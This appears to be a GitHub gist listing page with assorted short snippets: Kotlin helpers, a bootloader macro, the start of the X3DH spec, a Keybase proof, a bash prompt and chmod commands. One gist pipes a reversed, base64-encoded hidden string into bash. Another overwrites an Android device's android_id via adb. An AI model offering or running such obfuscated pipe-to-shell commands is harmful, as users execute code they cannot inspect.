Seed | Description | Recommendation |
---|---|---|
3141812559 | ||
3848493291 | ||
47894293 | ||
3201546666 | gives alternative results that look good | |
1514838022 | ||
1022565962 | good colors, lighting and shading |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
val values = listOf(8988, -4412, 597, -1624, 597, -514, 597, -514, 597, -514, 597, -513, 597, -514, 597, -514, 597, -514, 600, -511, 597, -1624, 597, -1625, 597, -1625, 597, -1625, 597, -1625, 596, -1626, 596, -1625, 598, -1625, 597, -1625, 597, -1625, 597, -1625, 597, -514, 597, -514, 597, -514, 597, -515, 597, -514, 597, -514, 597, -514, 597, -514, 597, -1625, 597, -1625, 597, -1625, 597, -1625, 597, -1625, 597, -1625, 597, -1626, 599, -1623, 597, -514, 597, -514, 597, -514, 597, -514, 597, -514, 597, -514, 597, -514, 597, -514, 597, -1626, 597, -1625, 597, -1625, 596, -1626, 596) | |
val roundedValues = values.map { it.toFloat() / 100f }.map { it + (if (it < 0f) -0.5f else .5f) }.map { it.toInt() * 100 } | |
roundedValues.chunked(2).joinToString("") { "${it.joinToString(", ")},\n" } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "limine.h" | |
#define LIMINE_REQUEST(kind, init) \ | |
volatile struct limine_##kind##_request limine_##kind##_request = init; \ | |
const struct limine_##kind##_response* limine_##kind##_response() { return limine_##kind##_request.response; } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
object Env { operator fun get(name: String): String? = System.getenv(name) } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The X3DH Key Agreement Protocol | |
Revision 1, 2016-11-04 [PDF] | |
Moxie Marlinspike, Trevor Perrin (editor) | |
Table of Contents | |
1. Introduction | |
2. Preliminaries | |
2.1. X3DH parameters |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
adb shell content query --uri content://settings/secure --where "name=\'android_id\'" | |
adb shell content delete --uri content://settings/secure --where "name=\'android_id\'" | |
adb shell content insert --uri content://settings/secure --bind name:s:android_id --bind value:s:7373de1e9e9670c2 |
I hereby claim:
- I am xdevs23 on github.
- I am superboringdev (https://keybase.io/superboringdev) on keybase.
- I have a public key ASBnQzCJd3bEUwDhhEkvTud8xJ3qCnEEfM2LxsAWKE_n9go
To claim this, I am signing this object:
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo -n "Kg2chJGI8ByJoNXYiBCfgQWLgQjNlNXYiBCfgYXZyBCfgQWLgAXa6dGI8BCZtACN2U2chJGI8BidlJHI8BCazFmYgwHIk1CI0YTZzFmYgwHIis0YDNFMNh1UCZEMMBnVV1keOVVU0kFWUFXOtFmTw5mYDJkVjpGcuNVcWxWZRxmeh5mVIplewUUV2UjMVpnUWRVeOpXUwcmeRJUOrR1QSp3US50VRJkRVFlbBlnYv50VaJCI8wDPgQXYjdCIvh2YlBiP" | rev | base64 -d | sed -e 's/^> //' | bash |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# How to apply: | |
# Put the content below in your .bashrc or whatever you use | |
if [ "$(whoami)" == "root" ]; then | |
PS1_U_COL=160 | |
PS1_U_COL_A=124 | |
else | |
PS1_U_COL=39 | |
PS1_U_COL_A=25 | |
fi | |
PS1="\[\e[1;90m\]\\$ \\[\e[1;38;5;${PS1_U_COL_A}m\]$(echo -e '\ue0b1')\[\e[1;38;5;${PS1_U_COL}m\] \u \[\e[1;38;5;22m\]$(echo -e '\ue0b1')\[\e[1;38;5;70m\] \h \[\e[1;38;5;23m\]$(echo -e '\ue0b1')\[\e[1;38;5;36m\] \w \[\e[1;90m\]$(echo -e '\ue0b1')\[\e[0m\] " |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Change permissions recursively only to directories: | |
find . -type d -exec chmod -R 0755 {} \; | |
#Change permissions recursively only to files: | |
find . -type f -exec chmod -R 0644 {} \; | |
NewerOlder